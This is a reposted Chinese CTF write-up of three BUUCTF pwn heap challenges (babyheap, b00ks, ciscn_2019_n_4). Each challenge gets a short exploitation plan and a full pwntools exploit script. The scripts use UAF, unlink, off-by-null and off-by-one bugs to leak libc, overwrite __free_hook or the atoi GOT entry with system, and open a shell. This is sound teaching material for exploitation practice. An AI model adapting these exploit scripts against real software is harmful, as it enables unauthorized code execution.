BUUCTF-PWN刷题记录-21

wdb_2018_1st_babyheap(unlink, UAF)

在这里插入图片描述
add的大小固定为0x20
在这里插入图片描述
edit机会只有三次
在这里插入图片描述
指针悬挂
在这里插入图片描述

利用思路如下:

  1. 进行几次添加
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')
  1. 删除0和1,再删除一次0,此时show(0)能泄露出heap的地址
  2. 编辑0,修改fd为heap+0x10
  3. 进行一次添加,此时分配到0的地方,在其中伪造一个0x30大小的chunk,且fd为chunk0的地址
  4. 添加,此时能修改chunk1的size为0x91,pre_size为0x20,然后再利用添加把chunk0中伪造的chunk的size改为0x20,fd为0x602060-0x18,bk为0x602060-0x10
  5. 删除1,触发unlink,此时show(6)会泄露main_arena+0x58的地址,计算__free_hooksytem的地址,先在0x602060处写入__free_hook,然后编辑0写入system,删除4即可

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29610)
#r = process("./wdb_2018_1st_babyheap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x400CF7
	x/10gx 0x602060
	c
	''')

elf = ELF("./wdb_2018_1st_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_arr = 0x602060
read_got = elf.got['read']

menu = "Choice:"
def add(index, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Index:")
	r.sendline(str(index))
	r.recvuntil("Content:")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index:")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))
	r.recvuntil("Content:")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index:")
	r.sendline(str(index))

sleep(3)
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')

delete(0)
delete(1)
delete(0)
show(0)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x30
success("heap:"+hex(heap))
edit(0, p64(heap+0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap) + p64(bss_arr-0x10))
payload = p64(bss_arr-0x18) + p64(bss_arr-0x10) + p64(0x20) + p64(0x90)
add(6, payload)
add(7, p64(0) + p64(0x21) + p64(bss_arr-0x18) + p64(bss_arr-0x10))
delete(1)
show(6)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc;"+hex(libc.address))
system = libc.symbols['system']
free_hook = libc.sym['__free_hook']

edit(0, p64(0)*3+p64(free_hook))
edit(0, p64(system)+'\n')
delete(4)


r.interactive()

asis2016_b00ks(off-by-null)

edit name的时候有一个off-by-null
在这里插入图片描述
在这里插入图片描述
book结构

struct Book{
	long long index;
	char* name;
	char* description;
	long long description_size;
}

利用思路:

  1. 首先程序让输入名字时输入长度为0x20的字符串,这样\x00的结束符就留在book1的地方,当我们申请一个book之后利用show就能泄露出堆的地址
  2. 申请第二个堆的时候,大小大一些,这样会使用mmap进行内存分配,而且分配的内存和libc比较接近,这里注意要在远程机器上触发错误泄露一下内存情况,因为本机偏移可能和远程主机偏移不一样
    在这里插入图片描述
  3. 再利用off-by-null把book1的地址最低8比特改为\x00,并且在此处伪造一个book结构,让name指向book2的name,这样就能借此泄露libc
  4. 利用编辑功能编辑book1,在book2的struct的name覆盖为bin_sh的地址,description覆盖为__free_hook,然后编辑book2写入system

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29708)
#r = process("./asis2016_b00ks")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0x1245)
	x/20gx $rebase(0x202040)
	c
	''')

elf = ELF("./asis2016_b00ks")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]


menu = "> "
def add(size1, content1, size2, content2):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Enter book name size: ")
	r.sendline(str(size1))
	r.recvuntil("Enter book name (Max 32 chars): ")
	r.send(content1)
	r.recvuntil("Enter book description size: ")
	r.sendline(str(size2))
	r.recvuntil("Enter book description: ")
	r.send(content2)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Enter the book id you want to delete: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Enter the book id you want to edit: ")
	r.sendline(str(index))
	r.recvuntil("Enter new book description: ")
	r.send(content)

def show():
	r.recvuntil(menu)
	r.sendline('4')

def edit_name(name):
	r.recvuntil(menu)
	r.sendline('5')
	r.recvuntil("Enter author name: ")
	r.send(name)

r.recvuntil("Enter author name: ")
r.send('a'*0x20+'\n')
add(0x90, 'aa\n', 0x90, 'aa\n')
add(0x21000, 'aa\n', 0x21000, 'aa\n')
show()
r.recvuntil('a'*0x20)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x160
success("heap:"+hex(heap))
payload = 'a' * 0x40 + p64(1) + p64(heap+0x198)*2 + p64(0xffff) + '\n'
edit(1, payload)
edit_name('a'*0x20 + '\n')
show()
r.recvuntil("Name: ")
#offset = 0x7fc715ef1010 - 0x7fc71593e000
offset = 0x7f4875e6a010 - 0x7f48758a4000
libc.address = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - offset
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search("/bin/sh").next()

edit(1, p64(bin_sh) + p64(free_hook) + '\n')
edit(2, p64(system)+'\n')
delete(2)

r.interactive()

ciscn_2019_n_4(off-by-one)

在这里插入图片描述
简单的off-by-one,直接利用GOT表就能get shell
自定义堆控制结构如下:

struct Heap{
	long long size;
	char *content;
}

在edit时有一个明显的off-by-one
在这里插入图片描述
利用思路也很简单:利用off-by-one把下一个chunk的size改大,把下下个自定义堆控制结构包含后释放,重新申请来吧aoi_got写进去,show+edit就能get shell

Exp:

from pwn import *

menu = "Your choice :"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("how big is the nest ?")
	r.sendline(str(size))
	r.recvuntil("what stuff you wanna put in the nest?")
	r.send(content)


def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index :")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index :")
	r.sendline(str(index))
	r.recvuntil("what stuff you wanna put in the nest?")
	r.send(content)

r = remote("node3.buuoj.cn", 29730)
#r = process("./ciscn_2019_n_4")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *0x400D80
    x/10gx 0x6020A0
    c
    ''')
elf = ELF("./ciscn_2019_n_4")
libc = ELF("./libc/libc-2.27.so")
atoi_got = elf.got['atoi']

add(0x18, 'chunk0\n')
add(0x18, 'chunk1\n')
add(0x18, 'chunk2\n')
payload = 'a'*0x10 + p64(0) + '\x60'
edit(0, payload)
delete(1)
payload = 'a'*0x30 + p64(0) + p64(0x21) + p64(8) + p64(atoi_got)
add(0x58, payload)
show(2)
r.recvuntil("Decorations : ")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.sym['atoi']
success("libc:"+hex(libc.address))
system = libc.sym['system']

edit(2, p64(system))
r.recvuntil(menu)
r.sendline('sh')

r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/106059767